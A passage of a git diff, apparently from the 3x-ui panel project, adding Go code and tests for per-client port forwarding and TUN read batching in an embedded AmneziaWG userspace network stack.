+// that accumulates or needs undoing between calls.
+func enablePromiscuousRouting(gstack *stack.Stack) {
+ gstack.SetPromiscuousMode(1, true)
+ gstack.SetSpoofing(1, true)
+}
+
+// addrFromTcpip converts a gVisor tcpip.Address (4 or 16 raw bytes) to the
+// stdlib netip.Addr type the rest of this package and its callers use.
+func addrFromTcpip(a tcpip.Address) netip.Addr {
+ if a.Len() == 4 {
+ var b [4]byte
+ copy(b[:], a.AsSlice())
+ return netip.AddrFrom4(b)
+ }
+ var b [16]byte
+ copy(b[:], a.AsSlice())
+ return netip.AddrFrom16(b)
+}
diff --git a/internal/amneziawgnet/netstack_test.go b/internal/amneziawgnet/netstack_test.go
new file mode 100644
index 000000000..52fda2d18
--- /dev/null
+++ b/internal/amneziawgnet/netstack_test.go
@@ -0,0 +1,88 @@
+package amneziawgnet
+
+import (
+ "testing"
+
+ "gvisor.dev/gvisor/pkg/buffer"
+)
+
+// TestStackTunReadDrainsBufferedBatch is a regression test for a real
+// throughput bug: Read used to always return exactly one packet per call
+// no matter how many were already queued, forcing amneziawg-go's TUN
+// reader to pay a full peer-lookup+staging+syscall cycle per packet on the
+// download path while the upload path (via the UDP bind's own
+// recvmmsg/sendmmsg batching) amortized that cost across up to 128
+// packets. Confirmed live: this alone took real download throughput from
+// 30-40 Mbit/s to 130-250 Mbit/s on a real test connection (see commit
+// 6436fd9c's message and internal/amneziawgnet/netstack.go's own comment
+// on tunQueueDepth for the full story) -- this test locks in the second,
+// finer-grained fix on top of that: Read must actually drain what's
+// already buffered instead of returning after the first packet.
+func TestStackTunReadDrainsBufferedBatch(t *testing.T) {
+ t.Parallel()
+
+ tun := &stackTun{incomingPacket: make(chan *buffer.View, tunQueueDepth)}
+ packets := [][]byte{{1, 2, 3}, {4, 5}, {6, 7, 8, 9}}
+ for _, p := range packets {
+ tun.incomingPacket <- buffer.NewViewWithData(p)
+ }
+
+ buf := make([][]byte, 8)
+ sizes := make([]int, 8)
+ for i := range buf {
+ buf[i] = make([]byte, 64)
+ }
+
+ n, err := tun.Read(buf, sizes, 0)
+ if err != nil {
+ t.Fatalf("Read: %v", err)
+ }
+ if n != len(packets) {
+ t.Fatalf("Read returned %d packets, want %d (all buffered packets in one call)", n, len(packets))
+ }
+ for i, want := range packets {
+ got := buf[i][:sizes[i]]
+ if string(got) != string(want) {
+ t.Errorf("packet %d = %v, want %v", i, got, want)
+ }
+ }
+}
+
+// TestStackTunReadStopsAtBufCapacity confirms Read never returns more
+// packets than the caller's buf can hold, and that whatever didn't fit is
+// still there (in order) for the next call -- draining must respect the
+// caller's batch size, not just gulp everything queued.
+func TestStackTunReadStopsAtBufCapacity(t *testing.T) {
+ t.Parallel()
+
+ tun := &stackTun{incomingPacket: make(chan *buffer.View, tunQueueDepth)}
+ packets := [][]byte{{1}, {2}, {3}}
+ for _, p := range packets {
+ tun.incomingPacket <- buffer.NewViewWithData(p)
+ }
+
+ buf := make([][]byte, 2)
+ sizes := make([]int, 2)
+ for i := range buf {
+ buf[i] = make([]byte, 64)
+ }
+
+ n, err := tun.Read(buf, sizes, 0)
+ if err != nil {
+ t.Fatalf("first Read: %v", err)
+ }
+ if n != 2 {
+ t.Fatalf("first Read returned %d, want 2 (buf capacity)", n)
+ }
+
+ n, err = tun.Read(buf, sizes, 0)
+ if err != nil {
+ t.Fatalf("second Read: %v", err)
+ }
+ if n != 1 {
+ t.Fatalf("second Read returned %d, want 1 (the leftover packet)", n)
+ }
+ if got := buf[0][:sizes[0]]; string(got) != "\x03" {
+ t.Errorf("leftover packet = %v, want [3]", got)
+ }
+}
diff --git a/internal/amneziawgnet/portfwd.go b/internal/amneziawgnet/portfwd.go
new file mode 100644
index 000000000..5dff9e474
--- /dev/null
+++ b/internal/amneziawgnet/portfwd.go
@@ -0,0 +1,343 @@
+// Phase 3.6: per-client port-forwarding. A real Go listener bound to each
+// forwarded external port relays into the peer's own tunnel-internal
+// address via a direct gonet dial -- the mirror image of
+// AttachTCPForwarder/AttachUDPHandler (which relay FROM the tunnel TO the
+// real world), and this path's replacement for the retired kernel-module
+// architecture's PostUp/PostDown iptables DNAT rules: there's no real OS
+// network interface here for DNAT to rewrite packets on, the same root
+// reason Phase 3.5's IPv6 alias mechanism couldn't reuse NDP-proxy either.
+//
+// Deliberately dials straight into the gVisor stack rather than relaying
+// through Xray's own SOCKS5 inbound the way the outbound direction does
+// (relay.go): Xray runs as a genuinely separate OS process
+// (internal/xray/process.go), so it has no visibility into this process's
+// private, in-memory netstack at all -- a tunnel-internal address like
+// 10.8.1.5:8080 has no route from Xray's own freedom outbound; only code
+// holding the actual *stack.Stack can reach it. Accepted consequence:
+// forwarded-port bytes don't appear in Xray's per-email stats/quota
+// counters. This undercounts, it doesn't bypass enforcement -- a
+// depleted/disabled client's peer is dropped from the interface's peer list
+// entirely by DesiredAmneziaWGInstances, which tears its forwards down too
+// as a side effect of Reconcile's own diff below.
+package amneziawgnet
+
+import (
+ "context"
+ "fmt"
+ "io"
+ "net"
+ "net/netip"
+ "sync"
+ "time"
+
+ "gvisor.dev/gvisor/pkg/tcpip"
+ "gvisor.dev/gvisor/pkg/tcpip/adapters/gonet"
+ "gvisor.dev/gvisor/pkg/tcpip/network/ipv4"
+ "gvisor.dev/gvisor/pkg/tcpip/network/ipv6"
+ "gvisor.dev/gvisor/pkg/tcpip/stack"
+
+ "github.com/mhsanaei/3x-ui/v3/internal/amneziawg"
+ "github.com/mhsanaei/3x-ui/v3/internal/logger"
+)
+
+// portForwardProto distinguishes the two sockets a single forwarded port
+// needs -- ForwardedPorts has no per-port protocol selector (matches the
+// retired DNAT implementation's own unconditional-TCP+UDP contract), so
+// every port gets both.
+type portForwardProto uint8
+
+const (
+ tcpForward portForwardProto = iota
+ udpForward
+)
+
+// portForwardKey identifies one listener: a specific peer's specific port on
+// a specific protocol. Two different peers (even on the same inbound)
+// forwarding the same port number get two independent listeners under two
+// independent keys -- a same-port collision surfaces as an ordinary bind
+// failure on whichever one opens second, not something actively prevented
+// here (see the migration plan's Phase 3.6 notes).
+type portForwardKey struct {
+ email string
+ port int
+ proto portForwardProto
+}
+
+// portForwardTargetFunc resolves a peer's current tunnel-internal target
+// address by email, re-checked on every new connection/session rather than
+// captured once at listen time -- so a peer re-IP takes effect for the next
+// connection with zero listener churn (see Reconcile's own comment on
+// this). false means the peer has no resolvable target right now (removed,
+// or its AllowedIPs/ForwardedPorts changed): the caller drops the
+// connection/packet, and Reconcile will close the now-undesired listener
+// shortly after, if it hasn't already.
+type portForwardTargetFunc func(email string) (netip.Addr, bool)
+
+// portForwardListener is the common handle both listenPortForwardTCP and
+// listenPortForwardUDP return, so PortForwardSet can hold either behind one
+// map value type without a type switch.
+type portForwardListener interface {
+ Close()
+}
+
+// PortForwardSet owns every open port-forward listener for one embedded
+// AmneziaWG interface (one per amneziawgnet managed entry -- see
+// manager.go). Unlike v6alias.go's stateless desired/diff/apply functions,
+// this holds live Go resources (net.Listener/net.PacketConn) that must be
+// explicitly closed -- there's no OS-level idempotent recreate the way
+// `ip addr add` has -- so Reconcile diffs against its own live listeners
+// map directly instead of a remembered prior Instance.
+type PortForwardSet struct {
+ gstack *stack.Stack
+ inboundID int
+
+ mu sync.Mutex
+ peerTargets map[string]netip.Addr
+ listeners map[portForwardKey]portForwardListener
+}
+
+// NewPortForwardSet creates an empty supervisor for one embedded interface's
+// stack. Call Reconcile to actually open any listeners.
+func NewPortForwardSet(gstack *stack.Stack, inboundID int) *PortForwardSet {
+ return &PortForwardSet{
+ gstack: gstack,
+ inboundID: inboundID,
+ peerTargets: map[string]netip.Addr{},
+ listeners: map[portForwardKey]portForwardListener{},
+ }
+}
+
+// desiredPeerTargets resolves each peer's tunnel-internal target address:
+// the first IPv4 AllowedIPs entry, falling back to the first IPv6 entry only
+// when no v4 entry exists and the instance has IPv6 enabled (mirrors
+// desiredV6Aliases' own gating in v6alias.go -- no v6 route exists on the
+// stack otherwise). A peer with no resolvable address at all (neither
+// family, or an unparseable entry) is simply absent from the result.
+func desiredPeerTargets(inst amneziawg.Instance) map[string]netip.Addr {
+ out := map[string]netip.Addr{}
+ for _, p := range inst.Peers {
+ if p.Email == "" {
+ continue
+ }
+ raw := amneziawg.FirstIPv4(p.AllowedIPs)
+ if raw == "" && inst.IPv6Enabled {
+ raw = amneziawg.FirstIPv6(p.AllowedIPs)
+ }
+ if raw == "" {
+ continue
+ }
+ addr, err := netip.ParseAddr(raw)
+ if err != nil {
+ continue
+ }
+ out[p.Email] = addr
+ }
+ return out
+}
+
+// desiredPortForwardKeys returns the full set of listener keys inst wants
+// right now: one tcpForward and one udpForward key per port in every peer's
+// ForwardedPorts spec, for every peer that also has a resolvable target
+// (see desiredPeerTargets) -- a key never exists without a target, so
+// Reconcile can always resolve one for any key it opens.
+func desiredPortForwardKeys(inst amneziawg.Instance) map[portForwardKey]struct{} {
+ out := map[portForwardKey]struct{}{}
+ targets := desiredPeerTargets(inst)
+ for _, p := range inst.Peers {
+ if p.Email == "" || p.ForwardedPorts == "" {
+ continue
+ }
+ if _, ok := targets[p.Email]; !ok {
+ continue
+ }
+ for _, port := range amneziawg.ExpandForwardedPorts(p.ForwardedPorts) {
+ out[portForwardKey{email: p.Email, port: port, proto: tcpForward}] = struct{}{}
+ out[portForwardKey{email: p.Email, port: port, proto: udpForward}] = struct{}{}
+ }
+ }
+ return out
+}
+
+// Reconcile brings the supervisor's open listeners in line with what inst
+// currently wants: closes anything no longer desired, opens anything newly
+// desired, leaves everything else untouched. Never returns an error --
+// matches applyV6Aliases' contract exactly: one listener failing to bind
+// only narrows that specific forward, never a reason to fail the whole
+// reconcile.
+func (s *PortForwardSet) Reconcile(inst amneziawg.Instance) {
+ wantTargets := desiredPeerTargets(inst)
+ wantKeys := desiredPortForwardKeys(inst)
+
+ s.mu.Lock()
+ s.peerTargets = wantTargets
+
+ var toClose []portForwardListener
+ for key, ln := range s.listeners {
+ if _, ok := wantKeys[key]; ok {
+ continue
+ }
+ toClose = append(toClose, ln)
+ delete(s.listeners, key)
+ }
+ var toOpen []portForwardKey
+ for key := range wantKeys {
+ if _, ok := s.listeners[key]; ok {
+ continue
+ }
+ toOpen = append(toOpen, key)
+ }
+ s.mu.Unlock()
+
+ // Outside the lock: closing/opening real sockets shouldn't block a
+ // concurrent targetFor lookup from an in-flight connection on some
+ // other, unaffected listener.
+ for _, ln := range toClose {
+ ln.Close()
+ }
+ for _, key := range toOpen {
+ ln := openPortForwardListener(s.gstack, s.inboundID, key, s.targetFor)
+ if ln == nil {
+ continue
+ }
+ s.mu.Lock()
+ s.listeners[key] = ln
+ s.mu.Unlock()
+ }
+}
+
+// targetFor implements portForwardTargetFunc against the supervisor's
+// current peerTargets snapshot.
+func (s *PortForwardSet) targetFor(email string) (netip.Addr, bool) {
+ s.mu.Lock()
+ defer s.mu.Unlock()
+ addr, ok := s.peerTargets[email]
+ return addr, ok
+}
+
+// Close tears down every open listener. Call when the owning Device is
+// closed (or rebuilt -- see manager.go's ensureLocked, which always
+// constructs a fresh PortForwardSet alongside a fresh Device.Stack, the
+// same reason it also rebuilds udpRelay from scratch rather than reusing
+// one bound to a discarded stack).
+func (s *PortForwardSet) Close() {
+ s.mu.Lock()
+ listeners := s.listeners
+ s.listeners = map[portForwardKey]portForwardListener{}
+ s.mu.Unlock()
+ for _, ln := range listeners {
+ ln.Close()
+ }
+}
+
+// openPortForwardListener dispatches to the protocol-specific opener and
+// normalizes its result to a real nil interface value on failure -- a
+// (*tcpForwardListener)(nil) (or *udpForwardListener(nil)) wrapped directly
+// into the portForwardListener interface would be a non-nil interface
+// holding a nil pointer, Go's classic trap, so the concrete pointer is
+// checked before it's ever assigned into the interface-typed return.
+func openPortForwardListener(gstack *stack.Stack, inboundID int, key portForwardKey, target portForwardTargetFunc) portForwardListener {
+ switch key.proto {
+ case tcpForward:
+ if ln := listenPortForwardTCP(gstack, inboundID, key, target); ln != nil {
+ return ln
+ }
+ case udpForward:
+ if ln := listenPortForwardUDP(gstack, inboundID, key, target); ln != nil {
+ return ln
+ }
+ }
+ return nil
+}
+
+const portForwardDialTimeout = 10 * time.Second
+
+// tunnelNetwork returns the gVisor network protocol number matching addr's
+// address family, for dialing toward it inside the embedded stack.
+func tunnelNetwork(addr netip.Addr) tcpip.NetworkProtocolNumber {
+ if addr.Is4() {
+ return ipv4.ProtocolNumber
+ }
+ return ipv6.ProtocolNumber
+}
+
+// tunnelFullAddress builds the tcpip.FullAddress a gonet dial needs to
+// reach addr:port inside the embedded stack -- NIC 1, matching
+// createNetTUNWithStack's own CreateNIC(1, ...) (this package's stack only
+// ever registers one NIC, and WriteUDPReply's WriteRawPacket already
+// addresses it explicitly the same way elsewhere in this package, rather
+// than relying on NIC 0's route-table auto-selection).
+func tunnelFullAddress(addr netip.Addr, port int) tcpip.FullAddress {
+ return tcpip.FullAddress{NIC: 1, Addr: tcpip.AddrFromSlice(addr.AsSlice()), Port: uint16(port)}
+}
+
+// tcpForwardListener is one open host-facing TCP listener for a single
+// portForwardKey.
+type tcpForwardListener struct {
+ ln net.Listener
+ closing chan struct{}
+}
+
+// listenPortForwardTCP opens a host-facing TCP listener on key.port and
+// starts relaying accepted connections into the tunnel toward
+// target(key.email). A bind failure (most commonly EADDRINUSE, whether from
+// an unrelated process or another AmneziaWG peer/inbound that already
+// claimed the same port) is logged and returns nil; Reconcile treats a nil
+// result as "not open this round" and retries on every future Reconcile
+// call for as long as the key stays desired.
+func listenPortForwardTCP(gstack *stack.Stack, inboundID int, key portForwardKey, target portForwardTargetFunc) *tcpForwardListener {
+ ln, err := (&net.ListenConfig{}).Listen(context.Background(), "tcp", fmt.Sprintf(":%d", key.port))
+ if err != nil {
+ logger.Warningf("amneziawgnet: port-forward: inbound %d peer %q: listen tcp :%d: %v", inboundID, key.email, key.port, err)
+ return nil
+ }
+ l := &tcpForwardListener{ln: ln, closing: make(chan struct{})}
+ logger.Infof("amneziawgnet: port-forward: inbound %d peer %q: listening tcp :%d", inboundID, key.email, key.port)
+ go l.acceptLoop(gstack, inboundID, key, target)
+ return l
+}
+
+func (l *tcpForwardListener) acceptLoop(gstack *stack.Stack, inboundID int, key portForwardKey, target portForwardTargetFunc) {
+ for {
+ conn, err := l.ln.Accept()
+ if err != nil {
+ select {
+ case <-l.closing:
+ return // intentional shutdown, not a real accept error
+ default:
+ }
+ logger.Warningf("amneziawgnet: port-forward: inbound %d peer %q: accept tcp :%d: %v", inboundID, key.email, key.port, err)
+ return
+ }
+ go relayTCPForward(gstack, conn, inboundID, key, target)
+ }
+}
+
+func relayTCPForward(gstack *stack.Stack, conn net.Conn, inboundID int, key portForwardKey, target portForwardTargetFunc) {
+ defer conn.Close()
+ addr, ok := target(key.email)
+ if !ok {
+ return
+ }
+ ctx, cancel := context.WithTimeout(context.Background(), portForwardDialTimeout)
+ defer cancel()
+ tunnelConn, err := gonet.DialContextTCP(ctx, gstack, tunnelFullAddress(addr, key.port), tunnelNetwork(addr))
+ if err != nil {
+ logger.Warningf("amneziawgnet: port-forward: inbound %d peer %q: dial tunnel %s:%d: %v", inboundID, key.email, addr, key.port, err)
+ return
+ }
+ defer tunnelConn.Close()
+
+ done := make(chan struct{}, 2)
+ go func() { _, _ = io.Copy(tunnelConn, conn); done <- struct{}{} }()
+ go func() { _, _ = io.Copy(conn, tunnelConn); done <- struct{}{} }()
+ <-done
+}
+
+// Close stops accepting new connections. Already-relaying connections are
+// left to finish on their own -- there's no shared state to tear down early
+// for, and an abrupt cut would just look like a network error to whichever
+// external client was mid-transfer.
+func (l *tcpForwardListener) Close() {
+ close(l.closing)
+ l.ln.Close()
+}
diff --git a/internal/amneziawgnet/portfwd_test.go b/internal/amneziawgnet/portfwd_test.go
new file mode 100644
index 000000000..e83924a69
--- /dev/null
+++ b/internal/amneziawgnet/portfwd_test.go
@@ -0,0 +1,417 @@
+package amneziawgnet
+
+import (
+ "context"
+ "fmt"
+ "io"
+ "net"
+ "net/netip"
+ "testing"
+ "time"
+
+ awgconn "github.com/amnezia-vpn/amneziawg-go/v3/conn"
+ "github.com/amnezia-vpn/amneziawg-go/v3/device"
+ "github.com/amnezia-vpn/amneziawg-go/v3/tun/netstack"
+ "gvisor.dev/gvisor/pkg/tcpip/stack"
+
+ "github.com/mhsanaei/3x-ui/v3/internal/amneziawg"
+ "github.com/mhsanaei/3x-ui/v3/internal/util/wireguard"
+)
+
+func peerWithPortsAndIPs(email, forwardedPorts string, ips ...string) amneziawg.Peer {
+ return amneziawg.Peer{Email: email, PublicKey: "pub-" + email, AllowedIPs: ips, ForwardedPorts: forwardedPorts}
+}
+
+// --- desiredPeerTargets ---
+
+func TestDesiredPeerTargetsPrefersIPv4(t *testing.T) {
+ inst := amneziawg.Instance{IPv6Enabled: true, Peers: []amneziawg.Peer{
+ peerWithPortsAndIPs("a@x", "", "10.8.1.2/32", "fd86::2/128"),
+ }}
+ got := desiredPeerTargets(inst)
+ addr, ok := got["a@x"]
+ if !ok || addr.String() != "10.8.1.2" {
+ t.Fatalf("desiredPeerTargets = %v, want a@x -> 10.8.1.2", got)
+ }
+}
+
+func TestDesiredPeerTargetsFallsBackToIPv6WhenEnabled(t *testing.T) {
+ inst := amneziawg.Instance{IPv6Enabled: true, Peers: []amneziawg.Peer{
+ peerWithPortsAndIPs("a@x", "", "fd86::2/128"),
+ }}
+ got := desiredPeerTargets(inst)
+ addr, ok := got["a@x"]
+ if !ok || addr.String() != "fd86::2" {
+ t.Fatalf("desiredPeerTargets = %v, want a@x -> fd86::2", got)
+ }
+}
+
+func TestDesiredPeerTargetsSkipsIPv6OnlyWhenIPv6Disabled(t *testing.T) {
+ inst := amneziawg.Instance{IPv6Enabled: false, Peers: []amneziawg.Peer{
+ peerWithPortsAndIPs("a@x", "", "fd86::2/128"),
+ }}
+ if got := desiredPeerTargets(inst); len(got) != 0 {
+ t.Fatalf("desiredPeerTargets = %v, want empty (IPv6-only peer, IPv6 disabled)", got)
+ }
+}
+
+func TestDesiredPeerTargetsSkipsPeerWithoutEmailOrAddress(t *testing.T) {
+ inst := amneziawg.Instance{IPv6Enabled: true, Peers: []amneziawg.Peer{
+ peerWithPortsAndIPs("", "", "10.8.1.2/32"), // no email
+ peerWithPortsAndIPs("b@x", ""), // no AllowedIPs at all
+ }}
+ if got := desiredPeerTargets(inst); len(got) != 0 {
+ t.Fatalf("desiredPeerTargets = %v, want empty", got)
+ }
+}
+
+// --- desiredPortForwardKeys ---
+
+func TestDesiredPortForwardKeysEmptyWhenNoForwardedPorts(t *testing.T) {
+ inst := amneziawg.Instance{Peers: []amneziawg.Peer{
+ peerWithPortsAndIPs("a@x", "", "10.8.1.2/32"),
+ }}
+ if got := desiredPortForwardKeys(inst); len(got) != 0 {
+ t.Fatalf("desiredPortForwardKeys = %v, want empty", got)
+ }
+}
+
+func TestDesiredPortForwardKeysEmptyWhenNoResolvableTarget(t *testing.T) {
+ // ForwardedPorts is set, but the peer has no AllowedIPs to resolve a
+ // target from -- must not produce keys for a peer nothing can dial.
+ inst := amneziawg.Instance{Peers: []amneziawg.Peer{
+ {Email: "a@x", ForwardedPorts: "8080"},
+ }}
+ if got := desiredPortForwardKeys(inst); len(got) != 0 {
+ t.Fatalf("desiredPortForwardKeys = %v, want empty", got)
+ }
+}
+
+func TestDesiredPortForwardKeysOneTCPAndUDPKeyPerPort(t *testing.T) {
+ inst := amneziawg.Instance{Peers: []amneziawg.Peer{
+ peerWithPortsAndIPs("a@x", "8080,8081", "10.8.1.2/32"),
+ }}
+ got := desiredPortForwardKeys(inst)
+ if len(got) != 4 {
+ t.Fatalf("desiredPortForwardKeys = %v, want 4 entries (2 ports x 2 protocols)", got)
+ }
+ for _, port := range []int{8080, 8081} {
+ for _, proto := range []portForwardProto{tcpForward, udpForward} {
+ key := portForwardKey{email: "a@x", port: port, proto: proto}
+ if _, ok := got[key]; !ok {
+ t.Errorf("desiredPortForwardKeys missing %+v", key)
+ }
+ }
+ }
+}
+
+func TestDesiredPortForwardKeysMultiplePeersDoNotMix(t *testing.T) {
+ inst := amneziawg.Instance{Peers: []amneziawg.Peer{
+ peerWithPortsAndIPs("a@x", "8080", "10.8.1.2/32"),
+ peerWithPortsAndIPs("b@x", "8080", "10.8.1.3/32"), // same port, different peer
+ }}
+ got := desiredPortForwardKeys(inst)
+ if len(got) != 4 {
+ t.Fatalf("desiredPortForwardKeys = %v, want 4 entries (2 peers x 2 protocols, same port kept separate per email)", got)
+ }
+}
+
+// --- PortForwardSet.Reconcile: real stack, no handshake needed (dialing
+// isn't exercised by these -- only the host-facing listener lifecycle) ---
+
+func newTestStack(t *testing.T, addr string) *stack.Stack {
+ t.Helper()
+ tunDev, gstack, err := createNetTUNWithStack([]netip.Addr{netip.MustParseAddr(addr)}, 1420)
+ if err != nil {
+ t.Fatalf("createNetTUNWithStack: %v", err)
+ }
+ t.Cleanup(func() { tunDev.Close() })
+ return gstack
+}
+
+func dialLoopback(t *testing.T, network string, port int) {
+ t.Helper()
+ conn, err := net.DialTimeout(network, fmt.Sprintf("127.0.0.1:%d", port), time.Second)
+ if err != nil {
+ t.Fatalf("dial 127.0.0.1:%d (%s): %v", port, network, err)
+ }
+ conn.Close()
+}
+
+func TestPortForwardSetReconcileOpensAndClosesListeners(t *testing.T) {
+ gs := newTestStack(t, "10.211.0.1")
+ set := NewPortForwardSet(gs, 501)
+
+ const port = 58910
+ inst := amneziawg.Instance{Peers: []amneziawg.Peer{
+ peerWithPortsAndIPs("a@x", fmt.Sprintf("%d", port), "10.211.0.2/32"),
+ }}
+
+ set.Reconcile(inst)
+ set.mu.Lock()
+ n := len(set.listeners)
+ set.mu.Unlock()
+ if n != 2 {
+ t.Fatalf("listeners after Reconcile = %d, want 2 (tcp+udp)", n)
+ }
+ dialLoopback(t, "tcp", port) // proves a real host listener is actually bound
+
+ set.mu.Lock()
+ tcpBefore := set.listeners[portForwardKey{email: "a@x", port: port, proto: tcpForward}]
+ set.mu.Unlock()
+
+ // Reconciling again with an unchanged instance must not close and
+ // reopen an unaffected listener.
+ set.Reconcile(inst)
+ set.mu.Lock()
+ tcpAfter := set.listeners[portForwardKey{email: "a@x", port: port, proto: tcpForward}]
+ set.mu.Unlock()
+ if tcpBefore != tcpAfter {
+ t.Error("Reconcile with an unchanged instance replaced an unaffected listener")
+ }
+
+ // Peer removed entirely -> both listeners close.
+ set.Reconcile(amneziawg.Instance{})
+ set.mu.Lock()
+ n = len(set.listeners)
+ set.mu.Unlock()
+ if n != 0 {
+ t.Fatalf("listeners after removal Reconcile = %d, want 0", n)
+ }
+ if _, err := net.DialTimeout("tcp", fmt.Sprintf("127.0.0.1:%d", port), time.Second); err == nil {
+ t.Error("port still accepting connections after the listener should have closed")
+ }
+}
+
+func TestPortForwardSetReconcileSurvivesPreBoundPort(t *testing.T) {
+ gs := newTestStack(t, "10.211.1.1")
+ set := NewPortForwardSet(gs, 502)
+
+ const collidingPort = 58911
+ const okPort = 58912
+ blocker, err := net.Listen("tcp", fmt.Sprintf(":%d", collidingPort))
+ if err != nil {
+ t.Fatalf("pre-bind test port: %v", err)
+ }
+ defer blocker.Close()
+
+ inst := amneziawg.Instance{Peers: []amneziawg.Peer{
+ peerWithPortsAndIPs("a@x", fmt.Sprintf("%d,%d", collidingPort, okPort), "10.211.1.2/32"),
+ }}
+
+ // Must not panic despite one of the two ports being unbindable, and the
+ // other port (and its UDP counterpart on the colliding port) must still
+ // open normally.
+ set.Reconcile(inst)
+ set.mu.Lock()
+ n := len(set.listeners)
+ _, tcpCollidingOpen := set.listeners[portForwardKey{email: "a@x", port: collidingPort, proto: tcpForward}]
+ _, udpCollidingOpen := set.listeners[portForwardKey{email: "a@x", port: collidingPort, proto: udpForward}]
+ set.mu.Unlock()
+ if n != 3 {
+ t.Fatalf("listeners after Reconcile with one pre-bound port = %d, want 3 (4 desired minus the 1 that couldn't bind)", n)
+ }
+ if tcpCollidingOpen {
+ t.Error("TCP listener on the pre-bound port opened despite the real bind conflict")
+ }
+ if !udpCollidingOpen {
+ t.Error("UDP listener on the colliding port's own number should still open (TCP and UDP binds are independent)")
+ }
+ dialLoopback(t, "tcp", okPort)
+
+ set.Close()
+}
+
+// --- Real round trip: a genuine amneziawg-go client handshakes against a
+// real server Device, PortForwardSet opens a real host listener, and a real
+// external-side dial (this test's own process) round-trips bytes through
+// the actual encrypted tunnel to a service listening on the client's own
+// netstack -- proving the full path, not just the listener bookkeeping
+// above. Modeled closely on device_test.go's
+// TestNewDeviceHandshakeForwarderAndIdentity.
+func TestPortForwardRoundTripTCPAndUDP(t *testing.T) {
+ serverPriv, serverPub, err := wireguard.GenerateWireguardKeypair()
+ if err != nil {
+ t.Fatalf("generate server keypair: %v", err)
+ }
+ clientPriv, clientPub, err := wireguard.GenerateWireguardKeypair()
+ if err != nil {
+ t.Fatalf("generate client keypair: %v", err)
+ }
+
+ const listenPort = 58920 // fixed loopback test port, matches this package's existing test convention
+ const tcpPort = 58921
+ const udpPort = 58922
+ const clientAddr = "10.202.0.2"
+
+ inst := amneziawg.Instance{
+ Id: 5,
+ InterfaceName: "awgtest5",
+ ListenPort: listenPort,
+ PrivateKey: serverPriv,
+ PublicKey: serverPub,
+ Address: []string{"10.202.0.1/24"},
+ MTU: 1420,
+ Obfuscation: amneziawg.Obfuscation31{
+ Jc: 4, Jmin: 40, Jmax: 70,
+ S1: 20, S2: 30, S3: 20, S4: 20,
+ },
+ Peers: []amneziawg.Peer{
+ {
+ Email: "client@test",
+ PublicKey: clientPub,
+ AllowedIPs: []string{clientAddr + "/32"},
+ ForwardedPorts: fmt.Sprintf("%d,%d", tcpPort, udpPort),
+ },
+ },
+ }
+
+ dev, err := NewDevice(inst, DeviceOptions{})
+ if err != nil {
+ t.Fatalf("NewDevice: %v", err)
+ }
+ defer dev.Close()
+
+ set := NewPortForwardSet(dev.Stack, inst.Id)
+ set.Reconcile(inst)
+ defer set.Close()
+
+ // Real amneziawg-go client, same recipe as device_test.go.
+ clientTun, clientNet, err := netstack.CreateNetTUN(
+ []netip.Addr{netip.MustParseAddr(clientAddr)},
+ []netip.Addr{netip.MustParseAddr("1.1.1.1")}, 1420)
+ if err != nil {
+ t.Fatalf("client CreateNetTUN: %v", err)
+ }
+ clientDev := device.NewDevice(clientTun, awgconn.NewDefaultBind(), device.NewLogger(device.LogLevelSilent, ""))
+ defer clientDev.Close()
+
+ clientPrivHex, err := wireguard.KeyToHex(clientPriv)
+ if err != nil {
+ t.Fatalf("client key to hex: %v", err)
+ }
+ serverPubHex, err := wireguard.KeyToHex(serverPub)
+ if err != nil {
+ t.Fatalf("server key to hex: %v", err)
+ }
+ clientConf := fmt.Sprintf(
+ "private_key=%s\njc=4\njmin=40\njmax=70\ns1=20\ns2=30\ns3=20\ns4=20\npublic_key=%s\nendpoint=127.0.0.1:%d\nallowed_ip=0.0.0.0/0\n",
+ clientPrivHex, serverPubHex, listenPort)
+ if err := clientDev.IpcSet(clientConf); err != nil {
+ t.Fatalf("client IpcSet: %v", err)
+ }
+ if err := clientDev.Up(); err != nil {
+ t.Fatalf("client Up: %v", err)
+ }
+
+ // Prime the handshake before exercising the actual port forwards below.
+ // The server only learns the client's real (roaming) endpoint from a
+ // packet the client sends it -- buildUAPIConfig never configures an
+ // endpoint= for a peer server-side (see device.go), and the server has
+ // no route to initiate a handshake toward an endpoint it doesn't know --
+ // so without this, relayTCPForward's own dial toward the client races a
+ // handshake that can never even start server-side and fails outright.
+ // A throwaway client dial toward nothing in particular is enough:
+ // queuing any outbound packet triggers amneziawg-go's own automatic
+ // handshake initiation regardless of whether the dial itself ever
+ // succeeds (nothing server-side is listening for it), so this loop
+ // deliberately ignores the dial's own outcome and just gives the
+ // handshake a few real attempts to complete in the background.
+ primeCtx, primeCancel := context.WithTimeout(context.Background(), 3*time.Second)
+ defer primeCancel()
+ for {
+ if conn, dialErr := clientNet.DialContext(primeCtx, "tcp", "10.202.9.9:9999"); dialErr == nil {
+ conn.Close()
+ }
+ select {
+ case <-primeCtx.Done():
+ goto primed
+ case <-time.After(200 * time.Millisecond):
+ }
+ }
+primed:
+
+ // A real service on the client's own netstack -- what a real forwarded
+ // port is ultimately supposed to reach.
+ tcpSvc, err := clientNet.ListenTCPAddrPort(netip.MustParseAddrPort(fmt.Sprintf("%s:%d", clientAddr, tcpPort)))
+ if err != nil {
+ t.Fatalf("client ListenTCP: %v", err)
+ }
+ defer tcpSvc.Close()
+ go func() {
+ for {
+ c, err := tcpSvc.Accept()
+ if err != nil {
+ return
+ }
+ go func() { io.Copy(c, c); c.Close() }()
+ }
+ }()
+
+ udpSvc, err := clientNet.ListenUDPAddrPort(netip.MustParseAddrPort(fmt.Sprintf("%s:%d", clientAddr, udpPort)))
+ if err != nil {
+ t.Fatalf("client ListenUDP: %v", err)
+ }
+ defer udpSvc.Close()
+ go func() {
+ buf := make([]byte, 1500)
+ for {
+ n, addr, err := udpSvc.ReadFrom(buf)
+ if err != nil {
+ return
+ }
+ udpSvc.WriteTo(buf[:n], addr)
+ }
+ }()
+
+ // Retry the TCP dial rather than guessing a fixed handshake delay --
+ // the handshake happens lazily on first real traffic.
+ const wantTCP = "port-forward tcp round trip"
+ dialCtx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
+ defer cancel()
+ var tcpConn net.Conn
+ var lastErr error
+ for {
+ tcpConn, lastErr = net.DialTimeout("tcp", fmt.Sprintf("127.0.0.1:%d", tcpPort), time.Second)
+ if lastErr == nil {
+ break
+ }
+ select {
+ case <-dialCtx.Done():
+ t.Fatalf("external TCP dial never succeeded: %v", lastErr)
+ case <-time.After(150 * time.Millisecond):
+ }
+ }
+ defer tcpConn.Close()
